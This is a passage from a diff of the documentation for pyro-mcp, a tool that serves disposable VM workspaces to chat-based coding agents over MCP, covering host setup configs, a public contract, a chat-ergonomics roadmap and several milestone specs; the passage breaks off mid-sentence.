- [codex_mcp.md](../examples/codex_mcp.md)
## OpenCode
Preferred:
```bash
pyro host print-config opencode
pyro host repair opencode
```
Use the local MCP config shape from:
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
Minimal `opencode.json` snippet:
```json
{
"mcp": {
"pyro": {
"type": "local",
"enabled": true,
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
}
}
}
```
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
`pyro` in the same config shape.
If OpenCode launches the server from an unexpected cwd, add
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
array.
## Generic MCP Fallback
Use this only when the host expects a plain `mcpServers` JSON config, when the
named modes are too narrow, and when it does not already have a dedicated
example in the repo:
- [mcp_client_config.md](../examples/mcp_client_config.md)
Generic `mcpServers` shape:
```json
{
"mcpServers": {
"pyro": {
"command": "uvx",
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
}
}
}
```
## When To Use `workspace-full`
Stay on bare `pyro mcp serve` unless the chat host truly needs:
- persistent PTY shell sessions
- long-running services and readiness probes
- secrets
- guest networking and published ports
- stopped-workspace disk inspection or raw ext4 export
When that is necessary:
```bash
pyro mcp serve --profile workspace-full
```
## Recipe-Backed Workflows
Once the host is connected, move to the five real workflows in
[use-cases/README.md](use-cases/README.md):
- cold-start repo validation
- repro plus fix loops
- parallel isolated workspaces
- unsafe or untrusted code inspection
- review and evaluation workflows
Validate the whole story with:
```bash
make smoke-use-cases
```
For the machine-warmup plus reset/retry path specifically:
```bash
make smoke-daily-loop
```

View file

@ -1,105 +1,192 @@
# Public Contract
This document defines the supported public interface for `pyro-mcp` `1.x`.
This document describes the chat way to use `pyro-mcp` in `4.x`.
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
path is still being shaped.
This document is intentionally biased. It describes the path users are meant to
follow today:
- prove the host with the terminal companion commands
- serve disposable workspaces over MCP
- connect Claude Code, Codex, or OpenCode
- use the recipe-backed workflows
This page does not try to document every building block in the repo. It
documents the chat-host path the project is actively shaping.
## Package Identity
- Distribution name: `pyro-mcp`
- Public executable: `pyro`
- Public Python import: `from pyro_mcp import Pyro`
- Public package-level factory: `from pyro_mcp import create_server`
- distribution name: `pyro-mcp`
- public executable: `pyro`
- primary product entrypoint: `pyro mcp serve`
## CLI Contract
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents on Linux
`x86_64` KVM hosts.
Top-level commands:
## Supported Product Path
The intended user journey is:
1. `pyro doctor`
2. `pyro prepare debian:12`
3. `pyro run debian:12 -- git --version`
4. `pyro mcp serve`
5. connect Claude Code, Codex, or OpenCode
6. use `workspace reset` as the normal retry step
7. run one of the documented recipe-backed workflows
8. validate the whole story with `make smoke-use-cases`
## Evaluator CLI
These terminal commands are the documented companion path for the chat-host
product:
- `pyro doctor`
- `pyro prepare`
- `pyro env list`
- `pyro env pull`
- `pyro env inspect`
- `pyro env prune`
- `pyro mcp serve`
- `pyro run`
- `pyro doctor`
- `pyro demo`
- `pyro demo ollama`
Stable `pyro run` interface:
What to expect from that path:
- positional environment name
- `--vcpu-count`
- `--mem-mib`
- `--timeout-seconds`
- `--ttl-seconds`
- `--network`
- `pyro run <environment> -- <command>` defaults to `1 vCPU / 1024 MiB`
- `pyro run` fails if guest boot or guest exec is unavailable unless
`--allow-host-compat` is set
- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`,
`pyro env prune`, `pyro doctor`, and `pyro prepare` are human-readable by
default and return structured JSON with `--json`
- the first official environment pull downloads from public Docker Hub into the
local environment cache
- `pyro prepare debian:12` proves the warmed daily loop with one throwaway
workspace create, exec, reset, and delete cycle
- `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle end to
end
Behavioral guarantees:
These commands exist to validate and debug the chat-host path. They are not the
main product destination.
- `pyro run <environment> --vcpu-count <n> --mem-mib <mib> -- <command>` returns structured JSON.
- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON.
- `pyro doctor` returns structured JSON diagnostics.
- `pyro demo ollama` prints log lines plus a final summary line.
## MCP Entry Point
## Python SDK Contract
The product entrypoint is:
Primary facade:
```bash
pyro mcp serve
```
- `Pyro`
What to expect:
Supported public entrypoints:
- named modes are now the first chat-host story:
- `pyro mcp serve --mode repro-fix`
- `pyro mcp serve --mode inspect`
- `pyro mcp serve --mode cold-start`
- `pyro mcp serve --mode review-eval`
- bare `pyro mcp serve` remains the generic no-mode path and starts
`workspace-core`
- from a repo root, bare `pyro mcp serve` also auto-detects the current Git
checkout so `workspace_create` can omit `seed_path`
- `pyro mcp serve --profile workspace-full` explicitly opts into the larger
tool surface
- `pyro mcp serve --profile vm-run` exposes the smallest one-shot-only surface
- `pyro mcp serve --project-path /abs/path/to/repo` is the fallback when the
host does not preserve cwd
- `pyro mcp serve --repo-url ... [--repo-ref ...]` starts from a clean clone
source instead of a local checkout
- `create_server()`
- `Pyro.create_server()`
- `Pyro.list_environments()`
- `Pyro.pull_environment(environment)`
- `Pyro.inspect_environment(environment)`
- `Pyro.prune_environments()`
- `Pyro.create_vm(...)`
- `Pyro.start_vm(vm_id)`
- `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)`
- `Pyro.stop_vm(vm_id)`
- `Pyro.delete_vm(vm_id)`
- `Pyro.status_vm(vm_id)`
- `Pyro.network_info_vm(vm_id)`
- `Pyro.reap_expired()`
- `Pyro.run_in_vm(...)`
Host-specific setup docs:
Stable public method names:
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
- [codex_mcp.md](../examples/codex_mcp.md)
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
- [mcp_client_config.md](../examples/mcp_client_config.md)
- `create_server()`
- `list_environments()`
- `pull_environment(environment)`
- `inspect_environment(environment)`
- `prune_environments()`
- `create_vm(...)`
- `start_vm(vm_id)`
- `exec_vm(vm_id, *, command, timeout_seconds=30)`
- `stop_vm(vm_id)`
- `delete_vm(vm_id)`
- `status_vm(vm_id)`
- `network_info_vm(vm_id)`
- `reap_expired()`
- `run_in_vm(...)`
The chat-host bootstrap helper surface is:
## MCP Contract
- `pyro host connect claude-code`
- `pyro host connect codex`
- `pyro host print-config opencode`
- `pyro host doctor`
- `pyro host repair HOST`
Primary tool:
These helpers wrap the same `pyro mcp serve` entrypoint and are the preferred
setup and repair path for supported hosts.
## Named Modes
The supported named modes are:
| Mode | Intended workflow | Key tools |
| --- | --- | --- |
| `repro-fix` | reproduce, patch, rerun, diff, export, reset | file ops, patch, diff, export, reset, summary |
| `inspect` | inspect suspicious or unfamiliar code with the smallest persistent surface | file list/read, exec, export, summary |
| `cold-start` | validate a fresh repo and keep services alive long enough to prove readiness | exec, export, reset, summary, service tools |
| `review-eval` | interactive review, checkpointing, shell-driven evaluation, and export | shell tools, snapshot tools, diff/export, summary |
Use the generic no-mode path when one of those named modes feels too narrow for
the job.
## Generic Workspace Contract
`workspace-core` is the normal chat path. It exposes:
- `vm_run`
- `workspace_create`
- `workspace_list`
- `workspace_update`
- `workspace_status`
- `workspace_sync_push`
- `workspace_exec`
- `workspace_logs`
- `workspace_summary`
- `workspace_file_list`
- `workspace_file_read`
- `workspace_file_write`
- `workspace_patch_apply`
- `workspace_diff`
- `workspace_export`
- `workspace_reset`
- `workspace_delete`
Advanced lifecycle tools:
That is enough for the normal persistent editing loop:
- `vm_list_environments`
- `vm_create`
- `vm_start`
- `vm_exec`
- `vm_stop`
- `vm_delete`
- `vm_status`
- `vm_network_info`
- `vm_reap_expired`
- create one workspace, often without `seed_path` when the server already has a
project source
- sync or seed repo content
- inspect and edit files without shell quoting
- run commands repeatedly in one sandbox
- review the current session in one concise summary
- diff and export results
- reset and retry
- delete the workspace when the task is done
## Versioning Rule
Move to `workspace-full` only when the chat truly needs:
- `pyro-mcp` uses SemVer.
- Environment names are stable identifiers in the shipped catalog.
- Changing a public command name, public flag, public method name, public MCP tool name, or required request field is a breaking change.
- persistent PTY shell sessions
- long-running services and readiness probes
- secrets
- guest networking and published ports
- stopped-workspace disk inspection
## Recipe-Backed Workflows
The documented product workflows are:
| Workflow | Recommended mode | Doc |
| --- | --- | --- |
| Cold-start repo validation | `cold-start` | [use-cases/cold-start-repo-validation.md](use-cases/cold-start-repo-validation.md) |
| Repro plus fix loop | `repro-fix` | [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) |
| Parallel isolated workspaces | `repro-fix` | [use-cases/parallel-workspaces.md](use-cases/parallel-workspaces.md) |
| Unsafe or untrusted code inspection | `inspect` | [use-cases/untrusted-inspection.md](use-cases/untrusted-inspection.md) |
| Review and evaluation workflows | `review-eval` | [use-cases/review-eval-workflows.md](use-cases/review-eval-workflows.md) |
Treat this smoke pack as the trustworthy guest-backed verification path for the
advertised product:
```bash
make smoke-use-cases
```
The chat-host MCP path above is the thing the docs are intentionally shaping
around.

View file

@ -0,0 +1,186 @@
# LLM Chat Ergonomics Roadmap
This roadmap picks up after the completed workspace GA plan and focuses on one
goal:
make the core agent-workspace use cases feel trivial from a chat-driven LLM
interface.
Current baseline is `4.5.0`:
- `pyro mcp serve` is now the default product entrypoint
- `workspace-core` is now the default MCP profile
- one-shot `pyro run` still exists as the terminal companion path
- workspaces already support seeding, sync push, exec, export, diff, snapshots,
reset, services, PTY shells, secrets, network policy, and published ports
- host-specific onramps exist for Claude Code, Codex, and OpenCode
- the five documented use cases are now recipe-backed and smoke-tested
- stopped-workspace disk tools now exist, but remain explicitly secondary
## What "Trivial In Chat" Means
The roadmap is done only when a chat-driven LLM can cover the main use cases
without awkward shell choreography or hidden host-side glue:
- cold-start repo validation
- repro plus fix loops
- parallel isolated workspaces for multiple issues or PRs
- unsafe or untrusted code inspection
- review and evaluation workflows
More concretely, the model should not need to:
- patch files through shell-escaped `printf` or heredoc tricks
- rely on opaque workspace IDs without a discovery surface
- consume raw terminal control sequences as normal shell output
- choose from an unnecessarily large tool surface when a smaller profile would
work
The next gaps for the narrowed persona are now about real-project credibility:
- current-checkout startup is still brittle for messy local repos with unreadable,
generated, or permission-sensitive files
- the guest-backed smoke pack is strong, but it still proves shaped scenarios
better than arbitrary local-repo readiness
- the chat-host path still does not let users choose the sandbox environment as
a first-class part of host connection and server startup
- the product should not claim full whole-project development readiness until it
qualifies a real-project loop beyond fixture-shaped use cases
## Locked Decisions
- keep the workspace product identity central; do not drift toward CI, queue,
or runner abstractions
- keep disk tools secondary and do not make them the main chat-facing surface
- prefer narrow tool profiles and structured outputs over more raw shell calls
- optimize the MCP/chat-host path first and keep the CLI companion path good
enough to validate and debug it
- lower-level SDK and repo substrate work can continue, but they should not
drive milestone scope or naming
- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the
structured behavior natively
- prioritize repo-aware startup, trust, and daily-loop speed before adding more
low-level workspace surface area
- for repo-root auto-detection and `--project-path` inside a Git checkout, the
default project source should become Git-tracked files only
- `--repo-url` remains the clean-clone path when users do not want to trust the
local checkout as the startup source
- environment selection must become first-class in the chat-host path before the
product claims whole-project development readiness
- real-project readiness must be proven with guest-backed qualification smokes
that cover ignored, generated, and unreadable-file cases
- breaking changes are acceptable while there are still no users and the
chat-host product is still being shaped
- every milestone below must also update docs, help text, runnable examples,
and at least one real smoke scenario
## Milestones
1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done
2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done
3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done
4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done
5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done
6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done
7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done
8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done
9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done
10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done
11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done
12. [`4.1.0` Project-Aware Chat Startup](llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md) - Done
13. [`4.2.0` Host Bootstrap And Repair](llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md) - Done
14. [`4.3.0` Reviewable Agent Output](llm-chat-ergonomics/4.3.0-reviewable-agent-output.md) - Done
15. [`4.4.0` Opinionated Use-Case Modes](llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md) - Done
16. [`4.5.0` Faster Daily Loops](llm-chat-ergonomics/4.5.0-faster-daily-loops.md) - Done
17. [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) - Planned
18. [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) - Planned
19. [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) - Planned
20. [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) - Planned
21. [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - Planned
Completed so far:
- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents
can inspect and edit `/workspace` without shell-escaped file mutation flows.
- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and
`last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right
workspace without external notes.
- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
`workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start
narrow and widen only when needed.
- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY
sessions are readable enough to feed directly back into a chat model.
- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use
cases so the stable product is now demonstrated as repeatable end-to-end stories instead of
only isolated feature surfaces.
- `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`,
`--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c`
extraction or `$(cat ...)` expansion.
- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and
docs pass while keeping `workspace-full` as the 3.x compatibility default.
- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode
transcript separation for files that do not end with a trailing newline.
- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted
`make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows.
- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new
chat-host users can copy one known-good setup example instead of translating the generic MCP
config manually.
- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now
matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories.
- `4.1.0` made repo-root startup native for chat hosts, so bare `pyro mcp serve` can auto-detect
the current Git checkout and let the first `workspace_create` omit `seed_path`, with explicit
`--project-path` and `--repo-url` fallbacks when cwd is not the source of truth.
- `4.2.0` adds first-class host bootstrap and repair helpers so Claude Code,
Codex, and OpenCode users can connect or repair the supported chat-host path
without manually composing raw MCP commands or config edits.
- `4.3.0` adds a concise workspace review surface so users can inspect what the
agent changed and ran since the last reset without reconstructing the
session from several lower-level views by hand.
- `4.4.0` adds named use-case modes so chat hosts can start from `repro-fix`,
`inspect`, `cold-start`, or `review-eval` instead of choosing from the full
generic workspace surface first.
- `4.5.0` adds `pyro prepare`, daily-loop readiness in `pyro doctor`, and a
real `make smoke-daily-loop` verification path so the local machine warmup
story is explicit before the chat host connects.
Planned next:
- [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md)
- [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md)
- [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md)
- [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md)
- [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md)
## Expected Outcome
After this roadmap, the product should still look like an agent workspace, not
like a CI runner with more isolation.
The intended model-facing shape is:
- one-shot work starts with `vm_run`
- persistent work moves to a small workspace-first contract
- file edits are structured and model-native
- workspace discovery is human and model-friendly
- shells are readable in chat
- CLI handoff paths do not depend on ad hoc shell parsing
- the recommended chat-host profile is obvious from the first MCP example
- the documented smoke pack is trustworthy enough to use as a release gate
- major chat hosts have copy-pasteable MCP setup examples instead of only a
generic config template
- human-mode content reads are copy-paste safe
- the default bare MCP server entrypoint matches the recommended narrow profile
- the five core use cases are documented and smoke-tested end to end
- starting from the current repo feels native from the first chat-host setup
- supported hosts can be connected or repaired without manual config spelunking
- users can review one concise summary of what the agent changed and ran
- the main workflows feel like named modes instead of one giant reference
- reset and retry loops are fast enough to encourage daily use
- repo-root startup is robust even when the local checkout contains ignored,
generated, or unreadable files
- chat-host users can choose the sandbox environment as part of the normal
connect/start path
- the product has guest-backed qualification for real local repos, not only
shaped fixture scenarios
- it becomes credible to tell a user they can develop a real project inside
sandboxes, not just evaluate or patch one

View file

@ -0,0 +1,54 @@
# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity
Status: Done
## Goal
Make the documented use-case pack trustworthy enough to act like a real release
gate for the advertised chat-first workflows.
## Public API Changes
No new core API is required in this milestone.
The user-visible change is reliability and alignment:
- `make smoke-use-cases` should pass cleanly on a supported host
- each smoke scenario should verify the same user-facing path the recipe docs
actually recommend
- smoke assertions should prefer structured CLI, SDK, or MCP results over
brittle checks against human-mode text formatting when both exist
## Implementation Boundaries
- fix the current repro-plus-fix drift as part of this milestone
- keep the focus on user-facing flow fidelity, not on broad internal test
harness refactors
- prefer exact recipe fidelity over inventing more synthetic smoke-only steps
- if the docs say one workflow is canonical, the smoke should exercise that same
workflow directly
## Non-Goals
- no new workspace capability just to make the smoke harness easier to write
- no conversion of the product into a CI/reporting framework
- no requirement that every README transcript becomes a literal byte-for-byte
golden test
## Acceptance Scenarios
- `make smoke-use-cases` passes end to end on a supported host
- the repro-plus-fix smoke proves the documented patch path without relying on
fragile human-output assumptions
- each use-case recipe still maps to one real guest-backed smoke target
- a maintainer can trust a red smoke result as a real user-facing regression,
not just harness drift
## Required Repo Updates
- use-case smoke scenarios audited and corrected to follow the canonical docs
- any brittle human-output assertions replaced with structured checks where
possible
- docs updated if a recipe or expected output changed during the alignment pass
- at least one release/readiness note should point to the smoke pack as a
trustworthy verification path once this lands

View file

@ -0,0 +1,56 @@
# `3.11.0` Host-Specific MCP Onramps
Status: Done
## Goal
Remove the last translation step for major chat hosts by shipping exact,
copy-pasteable MCP setup guidance for the hosts users actually reach for.
## Public API Changes
No core runtime or workspace API change is required in this milestone.
The main user-visible additions are host-specific integration assets and docs:
- Claude setup should have a first-class maintained example
- Codex should have a first-class maintained example
- OpenCode should have a first-class maintained example
- the integrations docs should show the shortest working path for each host and
the same recommended `workspace-core` profile
## Implementation Boundaries
- keep the underlying server command the same:
`pyro mcp serve --profile workspace-core`
- treat host-specific configs as thin wrappers around the same MCP server
- cover both package-without-install and already-installed variants where that
materially improves copy-paste adoption
- keep generic MCP config guidance, but stop forcing users of major hosts to
translate it themselves
## Non-Goals
- no client-specific runtime behavior hidden behind host detection
- no broad matrix of every MCP-capable editor or agent host
- no divergence in terminology between host examples and the public contract
## Acceptance Scenarios
- a Claude user can copy one shipped example and connect without reading generic
MCP docs first
- a Codex user can copy one shipped example or exact `codex mcp add ...` command
- an OpenCode user can copy one shipped config snippet without guessing its MCP
schema shape
- the README and integrations docs point to those host-specific examples from
the first integration pass
## Required Repo Updates
- new shipped config examples for Codex and OpenCode
- README, install docs, and integrations docs updated to point at the new host
examples
- at least one short host-specific quickstart section or example command for
each supported host family
- runnable or documented verification steps that prove the shipped examples stay
current

View file

@ -0,0 +1,65 @@
# `3.2.0` Model-Native Workspace File Ops
Status: Done
## Goal
Remove shell quoting and hidden host-temp-file choreography from normal
chat-driven workspace editing loops.
## Public API Changes
Planned additions:
- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]`
- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]`
- `pyro workspace file write WORKSPACE_ID PATH --text TEXT`
- `pyro workspace patch apply WORKSPACE_ID --patch TEXT`
- matching Python SDK methods:
- `list_workspace_files`
- `read_workspace_file`
- `write_workspace_file`
- `apply_workspace_patch`
- matching MCP tools:
- `workspace_file_list`
- `workspace_file_read`
- `workspace_file_write`
- `workspace_patch_apply`
## Implementation Boundaries
- scope all operations strictly under `/workspace`
- keep these tools text-first and bounded in size
- make patch application explicit and deterministic
- keep `workspace export` as the host-out path for copying results back
- keep shell and exec available for process-oriented work, not as the only way
to mutate files
## Non-Goals
- no arbitrary host filesystem access
- no generic SFTP or file-manager product identity
- no replacement of shell or exec for process lifecycle work
- no hidden auto-merge behavior for conflicting patches
## Acceptance Scenarios
- an agent reads a file, applies a patch, reruns tests, and exports the result
without shell-escaped editing tricks
- an agent inspects a repo tree and targeted files inside one workspace without
relying on host-side temp paths
- a repro-plus-fix loop is practical from MCP alone, not only from a custom
host wrapper
## Required Repo Updates
- public contract updates across CLI, SDK, and MCP
- docs and examples that show model-native file editing instead of shell-heavy
file writes
- at least one real smoke scenario centered on a repro-plus-fix loop
## Outcome
- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP
- kept the surface scoped to started workspaces and `/workspace`
- updated docs, help text, examples, and smoke coverage around model-native editing flows

View file

@ -0,0 +1,53 @@
# `3.3.0` Workspace Naming And Discovery
Status: Done
## Goal
Make multiple concurrent workspaces manageable from chat without forcing the
user or model to juggle opaque IDs.
## Public API Changes
Planned additions:
- `pyro workspace create ... --name NAME`
- `pyro workspace create ... --label KEY=VALUE`
- `pyro workspace list`
- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]`
- matching Python SDK methods:
- `list_workspaces`
- `update_workspace`
- matching MCP tools:
- `workspace_list`
- `workspace_update`
## Implementation Boundaries
- keep workspace IDs as the stable machine identifier
- treat names and labels as operator-friendly metadata and discovery aids
- surface last activity, expiry, service counts, and summary metadata in
`workspace list`
- make name and label metadata visible in create, status, and list responses
## Non-Goals
- no scheduler or queue abstractions
- no project-wide branch manager
- no hidden background cleanup policy beyond the existing TTL model
## Acceptance Scenarios
- a user can keep separate workspaces for two issues or PRs and discover them
again without external notes
- a chat agent can list active workspaces, choose the right one, and continue
work after a later prompt
- review and evaluation flows can tag or name workspaces by repo, bug, or task
intent
## Required Repo Updates
- README and install docs that show parallel named workspaces
- examples that demonstrate issue-oriented workspace naming
- smoke coverage for at least one multi-workspace flow
- public contract, CLI help, and examples that show `workspace list` and `workspace update`

View file

@ -0,0 +1,51 @@
# `3.4.0` Tool Profiles And Canonical Chat Flows
Status: Done
## Goal
Make the model-facing surface intentionally small for chat hosts, while keeping
the full workspace product available when needed.
## Public API Changes
Planned additions:
- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}`
- matching Python SDK and server factory configuration for the same profiles
- one canonical OpenAI Responses example that uses the workspace-core profile
- one canonical MCP/chat example that uses the same profile progression
Representative profile intent:
- `vm-run`: one-shot only
- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete
- `workspace-full`: shells, services, snapshots, secrets, network policy, and
the rest of the stable workspace surface
## Implementation Boundaries
- keep the current full surface available for advanced users
- add profiles as an exposure control, not as a second product line
- make profile behavior explicit in docs and help text
- keep profile names stable once shipped
## Non-Goals
- no framework-specific wrappers inside the core package
- no server-side planner that chooses tools on the model's behalf
- no hidden feature gating by provider or client
## Acceptance Scenarios
- a chat host can expose only `vm_run` for one-shot work
- a chat host can promote the same agent to `workspace-core` without suddenly
dumping the full advanced surface on the model
- a new integrator can copy one example and understand the intended progression
from one-shot to stable workspace
## Required Repo Updates
- integration docs that explain when to use each profile
- canonical chat examples for both provider tool calling and MCP
- smoke coverage for at least one profile-limited chat loop

View file

@ -0,0 +1,46 @@
# `3.5.0` Chat-Friendly Shell Output
Status: Done
## Goal
Keep persistent PTY shells powerful, but make their output clean enough to feed
directly back into a chat model.
## Public API Changes
Planned additions:
- `pyro workspace shell read ... --plain`
- `pyro workspace shell read ... --wait-for-idle-ms N`
- matching Python SDK parameters:
- `plain=True`
- `wait_for_idle_ms=...`
- matching MCP request fields on `shell_read`
## Implementation Boundaries
- keep raw PTY reads available for advanced clients
- plain mode should strip terminal control sequences and normalize line endings
- idle waiting should batch the next useful chunk of output without turning the
shell into a separate job scheduler
- keep cursor-based reads so polling clients stay deterministic
## Non-Goals
- no replacement of the PTY shell with a fake line-based shell
- no automatic command synthesis inside shell reads
- no shell-only workflow that replaces `workspace exec`, services, or file ops
## Acceptance Scenarios
- a chat agent can open a shell, write a command, and read back plain text
output without ANSI noise
- long-running interactive setup or debugging flows are readable in chat
- shell output is useful as model input without extra client-side cleanup
## Required Repo Updates
- help text that makes raw versus plain shell reads explicit
- examples that show a clean interactive shell loop
- smoke coverage for at least one shell-driven debugging scenario

View file

@ -0,0 +1,42 @@
# `3.6.0` Use-Case Recipes And Smoke Packs
Status: Done
## Goal
Turn the five target workflows into first-class documented stories and runnable
verification paths.
## Public API Changes
No new core API is required in this milestone.
The main deliverable is packaging the now-mature workspace surface into clear
recipes, examples, and smoke scenarios that prove the intended user experience.
## Implementation Boundaries
- build on the existing stable workspace contract and the earlier chat-first
milestones
- keep the focus on user-facing flows, not internal test harness complexity
- treat the recipes as product documentation, not private maintainer notes
## Non-Goals
- no new CI or scheduler abstractions
- no speculative cloud orchestration work
- no broad expansion of disk tooling as the main story
## Acceptance Scenarios
- cold-start repo validation has a documented and smoke-tested flow
- repro-plus-fix loops have a documented and smoke-tested flow
- parallel isolated workspaces have a documented and smoke-tested flow
- unsafe or untrusted code inspection has a documented and smoke-tested flow
- review and evaluation workflows have a documented and smoke-tested flow
## Required Repo Updates
- a dedicated doc or section for each target use case
- at least one canonical example per use case in CLI, SDK, or MCP form
- smoke scenarios that prove each flow on a real Firecracker-backed path

View file

@ -0,0 +1,48 @@
# `3.7.0` Handoff Shortcuts And File Input Sources
Status: Done
## Goal
Remove the last bits of shell plumbing from the canonical CLI workspace flows so
they feel productized instead of hand-assembled.
## Public API Changes
Planned additions:
- `pyro workspace create ... --id-only`
- `pyro workspace shell open ... --id-only`
- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH`
- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH`
## Implementation Boundaries
- keep existing `--json`, `--text`, and `--patch` stable
- treat these additions as CLI-only shortcuts over already-structured behavior
- make `--text` and `--text-file` mutually exclusive
- make `--patch` and `--patch-file` mutually exclusive
- read file-backed text and patch inputs as UTF-8 text
- keep `/workspace` scoping and current patch semantics unchanged
## Non-Goals
- no new binary file-write story
- no new SDK or MCP surface just to mirror CLI shorthand flags
- no hidden patch normalization beyond the current patch-apply rules
- no change to the stable `workspace_id` contract
## Acceptance Scenarios
- README, install docs, and first-run docs can create one workspace ID without
`python -c` output parsing
- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell
expansion
- a user can write one text file from a host file directly, without
shell-escaped inline text
## Required Repo Updates
- top-level workspace walkthroughs rewritten around the new shortcut flags
- CLI help text updated so the shortest happy path is copy-paste friendly
- at least one smoke scenario updated to use a file-backed patch input

View file

@ -0,0 +1,51 @@
# `3.8.0` Chat-Host Onramp And Recommended Defaults
Status: Done
## Goal
Make the recommended chat-host entrypoint obvious before a new integrator has
to read deep integration docs.
## Public API Changes
No breaking API change is required in this milestone.
The main user-visible change is guidance:
- `pyro mcp serve` help text should clearly call `workspace-core` the
recommended chat-host profile
- README, install docs, first-run docs, and shipped MCP configs should all lead
with `workspace-core`
- `workspace-full` should be framed as the explicit advanced/compatibility
surface for `3.x`
## Implementation Boundaries
- keep the `3.x` compatibility default unchanged
- do not add new profile names
- make the recommendation visible from help text and top-level docs, not only
the integrations page
- keep provider examples and MCP examples aligned on the same profile story
## Non-Goals
- no breaking default flip to `workspace-core` in `3.x`
- no new hidden server behavior based on client type
- no divergence between CLI, SDK, and MCP terminology for the profile ladder
## Acceptance Scenarios
- a new chat-host integrator sees `workspace-core` as the recommended first MCP
profile from the first help/doc pass
- the top-level docs include one tiny chat-host quickstart near the first-run
path
- shipped config examples and provider examples all align on the same profile
progression
## Required Repo Updates
- top-level docs updated with a minimal chat-host quickstart
- `pyro mcp serve --help` rewritten to emphasize `workspace-core`
- examples and config snippets audited so they all agree on the recommended
profile

View file

@ -0,0 +1,50 @@
# `3.9.0` Content-Only Reads And Human Output Polish
Status: Done
## Goal
Make human-mode content reads cleaner for chat logs, terminal transcripts, and
copy-paste workflows.
## Public API Changes
Planned additions:
- `pyro workspace file read WORKSPACE_ID PATH --content-only`
- `pyro workspace disk read WORKSPACE_ID PATH --content-only`
Behavioral polish:
- default human-mode `workspace file read` and `workspace disk read` should
